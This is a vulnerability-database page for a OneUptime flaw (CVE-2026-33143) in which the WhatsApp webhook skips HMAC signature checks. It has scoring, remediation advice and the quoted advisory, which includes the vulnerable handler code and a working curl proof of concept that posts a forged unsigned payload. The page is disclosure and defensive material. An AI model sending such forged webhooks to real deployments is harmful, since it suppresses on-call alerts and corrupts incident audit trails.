OneUptime CVE-2026-33143
HIGH
GHSA-g5ph-f57v-mwjc
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach exposed webhook endpoint
-
DeliverySend unsigned forged POST payload
-
ExploitBypass absent HMAC signature check
-
ExecutionOverwrite WhatsApp notification status records
-
ImpactSuppress alerts and corrupt audit trail
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Data authenticity verification
|
| Exploitation Conditions | No special conditions - remote unauthenticated POST to /api/notification/whatsapp/webhook against a default OneUptime configuration (reproduced on v10.0.23 via |
| Impact | Signals are consistent and point to a genuine but bounded-impact integrity flaw rather than a top-tier emergency. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms remote, unauthenticated, low-complexity exploitation with no user interaction, and impact is correctly scoped to integrity only (VI:H, with VC:N and VA:N) - this is data-forgery/spoofing of notification status and audit records, not code execution or data theft. Working exploit code is published in the GHSA advisory (publicly available exploit code exists), yet EPSS is only 0.03% (7th percentile) and the vulnerability is NOT on CISA KEV, which is coherent: the flaw targets a niche self-hosted monitoring product and yields integrity manipulation rather than system compromise, so mass automated exploitation is unlikely. The CWE (CWE-345, insufficient verification of data authenticity) matches the description precisely. No conflicting signals were found between CVSS, description, and PoC. Bottom line: prioritize patching for organizations that actually run OneUptime and depend on WhatsApp notifications for on-call/alerting, because alert suppression during incidents is a real operational risk, but this is not a widespread-exploitation 'drop everything' issue for the general population. |
| Exploit ScenarioDerived | An unauthenticated attacker who can reach the OneUptime instance sends a crafted POST to /api/notification/whatsapp/webhook with a 'whatsapp_business_account' payload and no X-Hub-Signature-256 header, which the handler accepts and processes. During an active incident, the attacker forges 'delivered' status updates for WhatsApp on-call notifications so failed deliveries appear successful, suppressing escalation and retries while corrupting the audit trail. A working PoC curl command is published in the GitHub Security Advisory (GHSA-g5ph-f57v-mwjc). |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Oct 07, 2026
Unsigned WhatsApp webhook processing in OneUptime before 10.0.34 lets any remote, unauthenticated attacker POST forged Meta/WhatsApp status events to /api/notification/whatsapp/webhook and rewrite notification delivery records - marking failed alerts as delivered, suppressing escalation, and corrupting the notification audit trail. The advisory ships a working curl proof-of-concept demonstrating HTTP 200 acceptance of an unsigned payload on a default v10.0.23 Docker deployment, so publicly available exploit code exists; however there is no confirmed actively exploited (CISA KEV) activity, and EPSS is very low at 0.03% (7th percentile), reflecting the narrow integrity-only impact. Exploitation requires only that the instance's API be network-reachable; no credentials or secrets are needed, and the GET verification endpoint and the Slack webhook path are unaffected.
Earlier versions of this analysis (1)
The OneUptime monitoring platform (specifically version 10.0.23 and likely earlier versions) contains an authentication bypass vulnerability in its WhatsApp webhook handler that fails to verify the X-Hub-Signature-256 HMAC signature required by Meta/WhatsApp. Any unauthenticated remote attacker can send forged webhook payloads to manipulate notification delivery status records, suppress critical alerts, and corrupt audit trails. A working proof-of-concept exploit has been published demonstrating successful injection of arbitrary webhook events via simple HTTP POST requests with no authentication required.
RemediationAI
Vendor-released patch: upgrade OneUptime to 10.0.34 or later, which adds X-Hub-Signature-256 HMAC verification to the WhatsApp POST webhook handler; pull the updated oneuptime/app image and redeploy (per the advisory at https://github.com/OneUptime/oneuptime/security/advisories/GHSA-g5ph-f57v-mwjc). If immediate upgrade is not possible, apply compensating controls at the network edge rather than in the application: restrict inbound access to /api/notification/whatsapp/webhook so only Meta/WhatsApp webhook source IP ranges can reach it (via reverse-proxy ACL, WAF rule, or firewall), with the trade-off that legitimate delivery-status callbacks are blocked whenever Meta changes or adds egress addresses, degrading notification status accuracy; alternatively terminate the path entirely at the proxy and return 403 - this preserves the integrity of notification logs but disables real-time WhatsApp delivery tracking and any retry logic keyed to status events. If WhatsApp notifications are not business-critical, disable the WhatsApp notification provider/integration in OneUptime to remove the endpoint's usefulness to an attacker, accepting loss of that alert channel. Do not rely on the endpoint being 'hard to guess': the path is fixed and documented, so unauthenticated access alone is sufficient for forgery - the practical limiting factor is only that forged statuses need plausible WABA/phone_number_id/message identifiers to affect a specific notification, not any secret.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is CWE-345 (Insufficient Verification of Data Authenticity): the Express POST handler in App/FeatureSet/Notification/API/WhatsApp.ts (lines ~372-430) reads req.body directly and branches only on whether body.object equals "whatsapp_business_account", never computing or comparing an HMAC over the raw request body against the X-Hub-Signature-256 header that Meta/WhatsApp uses to authenticate webhook callbacks. The same codebase already does this correctly for Slack in Common/Server/Middleware/SlackAuthorization.ts, which computes a signature and compares it with crypto.timingSafeEqual, and the WhatsApp GET subscription endpoint correctly validates the hub.verify_token - so the omission is isolated to the event-processing POST path, not a design-wide weakness. Because the handler consumes attacker-controlled JSON and updates WhatsApp notification log records from it, an unauthenticated caller can drive state changes in the notification subsystem. The affected artifact is the npm package pkg:npm/oneuptime (self-hosted, typically run via Docker Compose); the assessed vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N reflects remote, unauthenticated access with a high integrity impact and no direct confidentiality or availability loss, consistent with the advisory's CVSS 4.0 rating of 8.7 whose dominant metric is also VI:H.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Remote unauthenticated POST with no interaction (AV:N/AC:L/PR:N/UI:N); impact is forgery/corruption of notification status and audit records so I:H, with no confidentiality or availability loss (C:N/A:N).
Primary rating from Vendor (https://github.com/OneUptime/oneuptime).
CVSS VectorVendor: https://github.com/OneUptime/oneuptime
Lifecycle Timeline
4DescriptionCVE.org
Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code - App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430:
router.post(
"/webhook",
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
const body: JSONObject = req.body as JSONObject;
// NO signature verification! No X-Hub-Signature-256 check!
if (
(body["object"] as string | undefined) !== "whatsapp_business_account"
) {
return Response.sendEmptySuccessResponse(req, res);
}
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
// ... processes entries and updates WhatsApp log status recordsCompare with the Slack webhook which correctly validates signatures:
Common/Server/Middleware/SlackAuthorization.ts line 58:
const isValid = crypto.timingSafeEqual(
Buffer.from(computedSignature),
Buffer.from(slackSignature)
);The WhatsApp GET webhook correctly validates the verify token - only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Forge a delivery status update for any WhatsApp notification - no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
-H "Content-Type: application/json" \
-d '{
"object": "whatsapp_business_account",
"entry": [{
"id": "FAKE_WABA_ID",
"changes": [{
"value": {
"messaging_product": "whatsapp",
"metadata": {
"display_phone_number": "+15550000000",
"phone_number_id": "FAKE_PHONE_ID"
},
"messages": [{
"from": "15551234567",
"id": "wamid.FAKE",
"timestamp": "1234567890",
"text": {"body": "INJECTED_MESSAGE"},
"type": "text"
}]
},
"field": "messages"
}]
}]
}'Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):
< HTTP/1.1 200 OK
{}- Fake WhatsApp webhook payload accepted with HTTP 200
- No
X-Hub-Signature-256header provided - no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates
Impact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
- Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
- Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
- Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries
Executive ViewAI
OneUptime deployments running versions before 10.0.34 accept unsigned WhatsApp webhook traffic, letting anyone who can reach the API rewrite notification delivery records, mark failed alerts as delivered, and suppress escalation to on-call staff. Leadership should care because this silently corrupts the audit trail that incident response depends on - outages can go unnoticed while the system reports successful delivery - and publicly available exploit code exists, although there is no confirmed actively exploited (CISA KEV) activity and the issue is integrity-only, with no credential theft or data disclosure.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Affected Products (CPE)CVE.org
Related Vulnerabilities in Cross-Site Scripting (XSS) Vulnerabilities
View all 3An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Exploit-DB